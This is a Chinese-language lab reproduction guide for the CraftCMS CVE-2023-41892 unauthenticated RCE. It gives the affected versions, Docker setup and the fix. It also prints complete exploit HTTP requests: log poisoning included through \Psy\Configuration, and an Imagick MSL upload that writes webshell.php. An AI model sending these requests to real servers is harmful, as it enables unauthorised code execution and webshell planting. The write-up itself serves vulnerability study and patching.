# CraftCMS 未授权远程代码执行漏洞 CVE-2023-41892

## 漏洞描述

CraftCMS 是一个灵活、用户友好的内容管理系统，用于在 Web 上创建自定义的数字体验。它为用户提供了一个后端界面来实现网站并配置 CMS。

CraftCMS 4.4.0 至 4.4.14 版本中存在一个远程代码执行漏洞。未经身份验证的攻击者可以通过 `ConditionsController` 实现远程代码执行。该漏洞存在于控制器的 `beforeAction` 方法中，由于输入验证不足，攻击者可以利用该漏洞创建任意对象并实现代码执行。

参考链接：

- https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
- https://blog.calif.io/p/craftcms-rce
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

## 漏洞影响

```
4.0.0-RC1 <= Craft CMS <= 4.4.14
```

## 环境搭建

Vulhub 执行如下命令启动一个存在漏洞的 Craft CMS 4.4.14 环境：

```
docker compose up -d
```

环境启动后，访问 `http://your-ip:8088/admin/install` 即可看到 CraftCMS 的安装页面。请按照页面提示完成安装，默认数据库地址为 `db`，用户名和密码均为 `root`。

![](images/CraftCMS%20未授权远程代码执行漏洞%20CVE-2023-41892/image-20250407153731017.png)

## 漏洞复现

漏洞的根本原因是攻击者可以通过 PHP 对象注入发送特制的 HTTP 请求来创建任意对象。通过链接代码库中的多个 gadget，攻击者可以实现远程代码执行。

有两种常用的 gadget 组合可以实现远程代码执行。

### Gadget 1：使用 `craft\elements\conditions\users\UserCondition` 和 `\Psy\Configuration`

这个 gadget 需要服务器开启日志记录功能，该功能默认是开启的。

首先，发送一个包含语法错误的 JSON 的 POST 请求，将 payload 写入日志文件：

```
POST /index.php?action=conditions/render HTTP/1.1
Host: your-ip:8088
Content-Type: application/json

{
aaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaa
<?php
@phpinfo(); __halt_compiler();
?>
}
```

然后，通过 `\Psy\Configuration` gadget 包含日志文件来触发远程代码执行（请将 `2025-04-07` 替换为当前日期）：

```
POST /index.php?action=conditions/render HTTP/1.1
Host: your-ip:8088
Content-Type: application/json

{
  "config": {
    "name": "test",
    "as xyz": {
      "class": "\\Psy\\Configuration",
      "__construct()": {
        "config": {
          "configFile": "../storage/logs/web-2025-03-31.log"
        }
      }
    }
  },
  "test": "craft\\elements\\conditions\\users\\UserCondition"
}
```

![](images/CraftCMS%20未授权远程代码执行漏洞%20CVE-2023-41892/image-20250407154856527.png)

如图所示，`phpinfo()` 成功执行。

### Gadget 2：使用 `craft\elements\conditions\users\UserCondition` 和内置的 `Imagick` 类

如果服务器启用了 Imagick 扩展，可以使用 `Imagick` 类的 MSL 格式来写入任意文件：

```
POST /index.php?action=conditions/render HTTP/1.1
Host: your-ip:8088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytlNPtAxuuGOeUqqY

------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="test"

craft\elements\conditions\users\UserCondition
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="config[name]"

test
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="config[as xyz][class]"

imagick
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="config[as xyz][__construct()][0][0]"

vid:msl:/tmp/php*
------WebKitFormBoundarytlNPtAxuuGOeUqqY
Content-Disposition: form-data; name="file"; filename="1.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="caption:&lt;?=phpinfo();?&gt;"/>
  <write filename="info:webshell.php" />
</image>
------WebKitFormBoundarytlNPtAxuuGOeUqqY--
```

这个 payload 会执行类似 `new Imagick('vid:msl:/tmp/php*');` 的 PHP 代码，并导致 "Segmentation fault" 错误，使线程崩溃：

![](images/CraftCMS%20未授权远程代码执行漏洞%20CVE-2023-41892/image-20250407155643418.png)

但是 `webshell.php` 文件已经成功写入：

```
http://your-ip:8088/webshell.php
```

![](images/CraftCMS%20未授权远程代码执行漏洞%20CVE-2023-41892/image-20250407155740729.png)

## 漏洞修复

此问题已在 CraftCMS 4.4.15 中修复。更新至 4.4.15 及以上版本。
